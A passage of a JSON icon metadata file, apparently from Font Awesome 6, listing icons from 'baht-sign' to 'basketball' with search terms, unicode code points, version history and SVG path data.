        "path": "M288 0c14.5 0 27.2 9.7 30.9 23.8l23.9 89.6 75.9-53.3c11.9-8.3 27.8-7.6 39 1.7s14.6 24.9 8.4 38.1l-39.3 84 92.4 8c14.4 1.2 26.2 12 28.8 26.3s-4.9 28.5-18 34.6l-84.1 39.1 65.7 65.5c10.3 10.2 12.4 26.1 5.1 38.7s-22 18.7-36 14.9L391 386.8l8.2 92.4c1.3 14.4-7.3 27.9-20.9 32.9s-28.9 .1-37.2-11.7l-53.1-76-53.1 76c-8.3 11.9-23.6 16.7-37.2 11.7s-22.2-18.5-20.9-32.9l8.2-92.4L95.4 410.9c-14 3.8-28.8-2.3-36-14.9s-5.2-28.4 5.1-38.7l65.7-65.5L46 252.7c-13.1-6.1-20.5-20.3-18-34.6s14.3-25.1 28.8-26.3l92.4-8-39.3-84c-6.1-13.1-2.7-28.8 8.4-38.1s27.1-10 39-1.7l75.9 53.3 23.9-89.6C260.8 9.7 273.5 0 288 0zm0 156.2l-4.8 18c-2.7 10.1-10.2 18.2-20 21.8s-20.8 2.1-29.3-3.9l-15.2-10.7 7.9 16.8c4.4 9.5 4 20.5-1.3 29.6s-14.5 15-25 15.9l-18.5 1.6 16.8 7.8c9.5 4.4 16.2 13.2 18 23.5s-1.5 20.8-8.9 28.2l-13.2 13.1 17.9-4.8c10.1-2.7 20.9-.3 28.9 6.4s12.2 16.9 11.3 27.3l-1.6 18.5 10.6-15.2c6-8.6 15.8-13.7 26.2-13.7s20.2 5.1 26.2 13.7l10.6 15.2-1.6-18.5c-.9-10.4 3.3-20.6 11.3-27.3s18.8-9.1 28.9-6.4l17.9 4.8-13.2-13.1c-7.4-7.4-10.7-17.9-8.9-28.2s8.5-19.1 18-23.5l16.8-7.8-18.5-1.6c-10.4-.9-19.7-6.8-25-15.9s-5.7-20.1-1.3-29.6l7.9-16.8-15.2 10.7c-8.6 6-19.5 7.5-29.3 3.9s-17.3-11.7-20-21.8l-4.8-18z"
      }
    },
    "free": ["solid"]
  },
  "baht-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["currency"]
    },
    "styles": ["solid"],
    "unicode": "e0ac",
    "label": "Baht Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M144 0c-17.7 0-32 14.3-32 32V64H37.6C16.8 64 0 80.8 0 101.6V224v41.7V288 406.3c0 23 18.7 41.7 41.7 41.7H112v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c61.9 0 112-50.1 112-112c0-40.1-21.1-75.3-52.7-95.1C280.3 222.6 288 200.2 288 176c0-61.9-50.1-112-112-112V32c0-17.7-14.3-32-32-32zM112 128v96H64V128h48zm64 96V128c26.5 0 48 21.5 48 48s-21.5 48-48 48zm-64 64v96H64V288h48zm64 96V288h32c26.5 0 48 21.5 48 48s-21.5 48-48 48H176z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M144 0c-17.7 0-32 14.3-32 32V64H37.6C16.8 64 0 80.8 0 101.6V224v41.7V288 406.3c0 23 18.7 41.7 41.7 41.7H112v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448h32c61.9 0 112-50.1 112-112c0-40.1-21.1-75.3-52.7-95.1C280.3 222.6 288 200.2 288 176c0-61.9-50.1-112-112-112V32c0-17.7-14.3-32-32-32zM112 128v96H64V128h48zm64 96V128c26.5 0 48 21.5 48 48s-21.5 48-48 48zm-64 64v96H64V288h48zm64 96V288h32c26.5 0 48 21.5 48 48s-21.5 48-48 48H176z"
      }
    },
    "free": ["solid"]
  },
  "ban": {
    "aliases": {
      "names": ["cancel"],
      "unicodes": {
        "composite": ["1f6ab"],
        "secondary": ["10f05e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "abort",
        "ban",
        "block",
        "cancel",
        "delete",
        "entry",
        "forbidden",
        "hide",
        "no",
        "not",
        "prohibit",
        "prohibited",
        "remove",
        "stop",
        "trash"
      ]
    },
    "styles": ["solid"],
    "unicode": "f05e",
    "label": "Ban",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M367.2 412.5L99.5 144.8C77.1 176.1 64 214.5 64 256c0 106 86 192 192 192c41.5 0 79.9-13.1 111.2-35.5zm45.3-45.3C434.9 335.9 448 297.5 448 256c0-106-86-192-192-192c-41.5 0-79.9 13.1-111.2 35.5L412.5 367.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M367.2 412.5L99.5 144.8C77.1 176.1 64 214.5 64 256c0 106 86 192 192 192c41.5 0 79.9-13.1 111.2-35.5zm45.3-45.3C434.9 335.9 448 297.5 448 256c0-106-86-192-192-192c-41.5 0-79.9 13.1-111.2 35.5L412.5 367.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "ban-smoking": {
    "aliases": {
      "names": ["smoking-ban"],
      "unicodes": {
        "composite": ["1f6ad"],
        "secondary": ["10f54d"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "ban",
        "cancel",
        "forbidden",
        "no",
        "no smoking",
        "non-smoking",
        "not",
        "prohibited",
        "smoking"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54d",
    "label": "Ban Smoking",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M99.5 144.8L178.7 224l96 96 92.5 92.5C335.9 434.9 297.5 448 256 448C150 448 64 362 64 256c0-41.5 13.1-79.9 35.5-111.2zM333.3 288l-32-32H384v32H333.3zm32 32H400c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H269.3L144.8 99.5C176.1 77.1 214.5 64 256 64c106 0 192 86 192 192c0 41.5-13.1 79.9-35.5 111.2L365.3 320zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM272 96c-8.8 0-16 7.2-16 16c0 26.5 21.5 48 48 48h32c8.8 0 16 7.2 16 16s7.2 16 16 16s16-7.2 16-16c0-26.5-21.5-48-48-48H304c-8.8 0-16-7.2-16-16s-7.2-16-16-16zM229.5 320l-96-96H112c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16H229.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M99.5 144.8L178.7 224l96 96 92.5 92.5C335.9 434.9 297.5 448 256 448C150 448 64 362 64 256c0-41.5 13.1-79.9 35.5-111.2zM333.3 288l-32-32H384v32H333.3zm32 32H400c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H269.3L144.8 99.5C176.1 77.1 214.5 64 256 64c106 0 192 86 192 192c0 41.5-13.1 79.9-35.5 111.2L365.3 320zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM272 96c-8.8 0-16 7.2-16 16c0 26.5 21.5 48 48 48h32c8.8 0 16 7.2 16 16s7.2 16 16 16s16-7.2 16-16c0-26.5-21.5-48-48-48H304c-8.8 0-16-7.2-16-16s-7.2-16-16-16zM229.5 320l-96-96H112c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16H229.5z"
      }
    },
    "free": ["solid"]
  },
  "bandage": {
    "aliases": {
      "names": ["band-aid"],
      "unicodes": {
        "composite": ["1fa79"],
        "secondary": ["10f462"]
      }
    },
    "changes": [
      "5.0.7",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["adhesive bandage", "bandage", "boo boo", "first aid", "ouch"]
    },
    "styles": ["solid"],
    "unicode": "f462",
    "label": "Bandage",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M480 416h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H480V416zM448 96H192V416H448V96zM64 96C28.7 96 0 124.7 0 160V352c0 35.3 28.7 64 64 64h96V96H64zM248 208a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM248 304a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M480 416h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H480V416zM448 96H192V416H448V96zM64 96C28.7 96 0 124.7 0 160V352c0 35.3 28.7 64 64 64h96V96H64zM248 208a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM248 304a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zm120-24a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "bandcamp": {
    "changes": ["4.7.0", "5.0.0", "5.13.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d5",
    "label": "Bandcamp",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z"
      }
    },
    "free": ["brands"]
  },
  "bangladeshi-taka-sign": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bdt", "currency", "tk"]
    },
    "styles": ["solid"],
    "unicode": "e2e6",
    "label": "Bangladeshi Taka Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M36 32.2C18.4 30.1 2.4 42.5 .2 60S10.5 93.6 28 95.8l7.9 1c16 2 28 15.6 28 31.8V160H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V384c0 53 43 96 96 96h32c106 0 192-86 192-192V256c0-53-43-96-96-96H272c-17.7 0-32 14.3-32 32s14.3 32 32 32h16c17.7 0 32 14.3 32 32v32c0 70.7-57.3 128-128 128H160c-17.7 0-32-14.3-32-32V224h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V128.5c0-48.4-36.1-89.3-84.1-95.3l-7.9-1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M36 32.2C18.4 30.1 2.4 42.5 .2 60S10.5 93.6 28 95.8l7.9 1c16 2 28 15.6 28 31.8V160H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V384c0 53 43 96 96 96h32c106 0 192-86 192-192V256c0-53-43-96-96-96H272c-17.7 0-32 14.3-32 32s14.3 32 32 32h16c17.7 0 32 14.3 32 32v32c0 70.7-57.3 128-128 128H160c-17.7 0-32-14.3-32-32V224h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V128.5c0-48.4-36.1-89.3-84.1-95.3l-7.9-1z"
      }
    },
    "free": ["solid"]
  },
  "barcode": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f02a"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["info", "laser", "price", "scan", "upc"]
    },
    "styles": ["solid"],
    "unicode": "f02a",
    "label": "Barcode",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M24 32C10.7 32 0 42.7 0 56V456c0 13.3 10.7 24 24 24H40c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H24zm88 0c-8.8 0-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V48c0-8.8-7.2-16-16-16zm72 0c-13.3 0-24 10.7-24 24V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H184zm96 0c-13.3 0-24 10.7-24 24V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H280zM448 56V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H472c-13.3 0-24 10.7-24 24zm-64-8V464c0 8.8 7.2 16 16 16s16-7.2 16-16V48c0-8.8-7.2-16-16-16s-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M24 32C10.7 32 0 42.7 0 56V456c0 13.3 10.7 24 24 24H40c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H24zm88 0c-8.8 0-16 7.2-16 16V464c0 8.8 7.2 16 16 16s16-7.2 16-16V48c0-8.8-7.2-16-16-16zm72 0c-13.3 0-24 10.7-24 24V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H184zm96 0c-13.3 0-24 10.7-24 24V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H280zM448 56V456c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24H472c-13.3 0-24 10.7-24 24zm-64-8V464c0 8.8 7.2 16 16 16s16-7.2 16-16V48c0-8.8-7.2-16-16-16s-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "bars": {
    "aliases": {
      "names": ["navicon"],
      "unicodes": {
        "secondary": ["10f0c9"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "drag",
        "hamburger",
        "list",
        "menu",
        "nav",
        "navigation",
        "ol",
        "reorder",
        "settings",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c9",
    "label": "Bars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 78.3 14.3 64 32 64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 128 0 113.7 0 96zM0 256c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 416c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 78.3 14.3 64 32 64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 128 0 113.7 0 96zM0 256c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 416c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "bars-progress": {
    "aliases": {
      "names": ["tasks-alt"],
      "unicodes": {
        "secondary": ["10f828"]
      }
    },
    "changes": [
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "downloading",
        "downloads",
        "loading",
        "poll",
        "progress",
        "project management",
        "settings",
        "to do"
      ]
    },
    "styles": ["solid"],
    "unicode": "f828",
    "label": "Bars Progress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 160H320V128H448v32zM48 64C21.5 64 0 85.5 0 112v64c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H48zM448 352v32H192V352H448zM48 288c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V336c0-26.5-21.5-48-48-48H48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 160H320V128H448v32zM48 64C21.5 64 0 85.5 0 112v64c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48H48zM448 352v32H192V352H448zM48 288c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V336c0-26.5-21.5-48-48-48H48z"
      }
    },
    "free": ["solid"]
  },
  "bars-staggered": {
    "aliases": {
      "names": ["reorder", "stream"],
      "unicodes": {
        "secondary": ["10f550"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["flow", "list", "timeline"]
    },
    "styles": ["solid"],
    "unicode": "f550",
    "label": "Bars Staggered",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 78.3 14.3 64 32 64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 128 0 113.7 0 96zM64 256c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32zM448 416c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 78.3 14.3 64 32 64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 128 0 113.7 0 96zM64 256c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32zM448 416c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "baseball": {
    "aliases": {
      "names": ["baseball-ball"],
      "unicodes": {
        "composite": ["1f94e", "26be"],
        "secondary": ["10f433"]
      }
    },
    "changes": [
      "5.0.5",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "ball",
        "baseball",
        "foul",
        "glove",
        "hardball",
        "league",
        "leather",
        "mlb",
        "softball",
        "sport",
        "underarm"
      ]
    },
    "styles": ["solid"],
    "unicode": "f433",
    "label": "Baseball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M62.7 223.4c-4.8 .4-9.7 .6-14.7 .6c-15.6 0-30.8-2-45.2-5.9C19.2 107.1 107.1 19.2 218.1 2.8C222 17.2 224 32.4 224 48c0 4.9-.2 9.8-.6 14.7c-.7 8.8 5.8 16.5 14.6 17.3s16.5-5.8 17.3-14.6c.5-5.7 .7-11.5 .7-17.3c0-16.5-1.9-32.6-5.6-47.9c1.8 0 3.7-.1 5.6-.1C397.4 0 512 114.6 512 256c0 1.9 0 3.7-.1 5.6c-15.4-3.6-31.4-5.6-47.9-5.6c-5.8 0-11.6 .2-17.3 .7c-8.8 .7-15.4 8.5-14.6 17.3s8.5 15.4 17.3 14.6c4.8-.4 9.7-.6 14.7-.6c15.6 0 30.8 2 45.2 5.9C492.8 404.9 404.9 492.8 293.9 509.2C290 494.8 288 479.6 288 464c0-4.9 .2-9.8 .6-14.7c.7-8.8-5.8-16.5-14.6-17.3s-16.5 5.8-17.3 14.6c-.5 5.7-.7 11.5-.7 17.3c0 16.5 1.9 32.6 5.6 47.9c-1.8 0-3.7 .1-5.6 .1C114.6 512 0 397.4 0 256c0-1.9 0-3.7 .1-5.6C15.4 254.1 31.5 256 48 256c5.8 0 11.6-.2 17.3-.7c8.8-.7 15.4-8.5 14.6-17.3s-8.5-15.4-17.3-14.6zM121.3 208c-8 3.7-11.6 13.2-7.9 21.2s13.2 11.6 21.2 7.9c45.2-20.8 81.7-57.2 102.5-102.5c3.7-8 .2-17.5-7.9-21.2s-17.5-.2-21.2 7.9c-17.6 38.3-48.5 69.2-86.7 86.7zm277.2 74.7c-3.7-8-13.2-11.6-21.2-7.9c-45.2 20.8-81.7 57.2-102.5 102.5c-3.7 8-.2 17.5 7.9 21.2s17.5 .2 21.2-7.9c17.6-38.3 48.5-69.2 86.7-86.7c8-3.7 11.6-13.2 7.9-21.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M62.7 223.4c-4.8 .4-9.7 .6-14.7 .6c-15.6 0-30.8-2-45.2-5.9C19.2 107.1 107.1 19.2 218.1 2.8C222 17.2 224 32.4 224 48c0 4.9-.2 9.8-.6 14.7c-.7 8.8 5.8 16.5 14.6 17.3s16.5-5.8 17.3-14.6c.5-5.7 .7-11.5 .7-17.3c0-16.5-1.9-32.6-5.6-47.9c1.8 0 3.7-.1 5.6-.1C397.4 0 512 114.6 512 256c0 1.9 0 3.7-.1 5.6c-15.4-3.6-31.4-5.6-47.9-5.6c-5.8 0-11.6 .2-17.3 .7c-8.8 .7-15.4 8.5-14.6 17.3s8.5 15.4 17.3 14.6c4.8-.4 9.7-.6 14.7-.6c15.6 0 30.8 2 45.2 5.9C492.8 404.9 404.9 492.8 293.9 509.2C290 494.8 288 479.6 288 464c0-4.9 .2-9.8 .6-14.7c.7-8.8-5.8-16.5-14.6-17.3s-16.5 5.8-17.3 14.6c-.5 5.7-.7 11.5-.7 17.3c0 16.5 1.9 32.6 5.6 47.9c-1.8 0-3.7 .1-5.6 .1C114.6 512 0 397.4 0 256c0-1.9 0-3.7 .1-5.6C15.4 254.1 31.5 256 48 256c5.8 0 11.6-.2 17.3-.7c8.8-.7 15.4-8.5 14.6-17.3s-8.5-15.4-17.3-14.6zM121.3 208c-8 3.7-11.6 13.2-7.9 21.2s13.2 11.6 21.2 7.9c45.2-20.8 81.7-57.2 102.5-102.5c3.7-8 .2-17.5-7.9-21.2s-17.5-.2-21.2 7.9c-17.6 38.3-48.5 69.2-86.7 86.7zm277.2 74.7c-3.7-8-13.2-11.6-21.2-7.9c-45.2 20.8-81.7 57.2-102.5 102.5c-3.7 8-.2 17.5 7.9 21.2s17.5 .2 21.2-7.9c17.6-38.3 48.5-69.2 86.7-86.7c8-3.7 11.6-13.2 7.9-21.2z"
      }
    },
    "free": ["solid"]
  },
  "baseball-bat-ball": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f432"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bat", "league", "mlb", "slugger", "softball", "sport"]
    },
    "styles": ["solid"],
    "unicode": "f432",
    "label": "Baseball Bat Ball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M424 0c-12.4 0-24.2 4.9-33 13.7L233.5 171.2c-10.5 10.5-19.8 22.1-27.7 34.6L132.7 321.6c-7.3 11.5-15.8 22.2-25.5 31.9L69.9 390.7l51.3 51.3 37.3-37.3c9.6-9.6 20.3-18.2 31.9-25.5l115.8-73.1c12.5-7.9 24.1-17.2 34.6-27.7L498.3 121c8.7-8.7 13.7-20.6 13.7-33s-4.9-24.2-13.7-33L457 13.7C448.2 4.9 436.4 0 424 0zm88 432a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM15 399c-9.4 9.4-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L49 399c-9.4-9.4-24.6-9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M424 0c-12.4 0-24.2 4.9-33 13.7L233.5 171.2c-10.5 10.5-19.8 22.1-27.7 34.6L132.7 321.6c-7.3 11.5-15.8 22.2-25.5 31.9L69.9 390.7l51.3 51.3 37.3-37.3c9.6-9.6 20.3-18.2 31.9-25.5l115.8-73.1c12.5-7.9 24.1-17.2 34.6-27.7L498.3 121c8.7-8.7 13.7-20.6 13.7-33s-4.9-24.2-13.7-33L457 13.7C448.2 4.9 436.4 0 424 0zm88 432a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM15 399c-9.4 9.4-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L49 399c-9.4-9.4-24.6-9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "basket-shopping": {
    "aliases": {
      "names": ["shopping-basket"],
      "unicodes": {
        "secondary": ["10f291"]
      }
    },
    "changes": [
      "4.5.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["buy", "checkout", "grocery", "payment", "purchase"]
    },
    "styles": ["solid"],
    "unicode": "f291",
    "label": "Basket Shopping",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M253.3 35.1c6.1-11.8 1.5-26.3-10.2-32.4s-26.3-1.5-32.4 10.2L117.6 192H32c-17.7 0-32 14.3-32 32s14.3 32 32 32L83.9 463.5C91 492 116.6 512 146 512H430c29.4 0 55-20 62.1-48.5L544 256c17.7 0 32-14.3 32-32s-14.3-32-32-32H458.4L365.3 12.9C359.2 1.2 344.7-3.4 332.9 2.7s-16.3 20.6-10.2 32.4L404.3 192H171.7L253.3 35.1zM192 304v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16s16 7.2 16 16zm96-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16zm128 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M253.3 35.1c6.1-11.8 1.5-26.3-10.2-32.4s-26.3-1.5-32.4 10.2L117.6 192H32c-17.7 0-32 14.3-32 32s14.3 32 32 32L83.9 463.5C91 492 116.6 512 146 512H430c29.4 0 55-20 62.1-48.5L544 256c17.7 0 32-14.3 32-32s-14.3-32-32-32H458.4L365.3 12.9C359.2 1.2 344.7-3.4 332.9 2.7s-16.3 20.6-10.2 32.4L404.3 192H171.7L253.3 35.1zM192 304v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16s16 7.2 16 16zm96-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16zm128 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V304c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "basketball": {
    "aliases": {
      "names": ["basketball-ball"],
      "unicodes": {
        "composite": ["1f3c0"],
        "secondary": ["10f434"]
      }
    },
    "changes": [
      "5.0.5",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["ball", "basketball", "dribble", "dunk", "hoop", "nba"]
    },
    "styles": ["solid"],
    "unicode": "f434",
    "label": "Basketball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
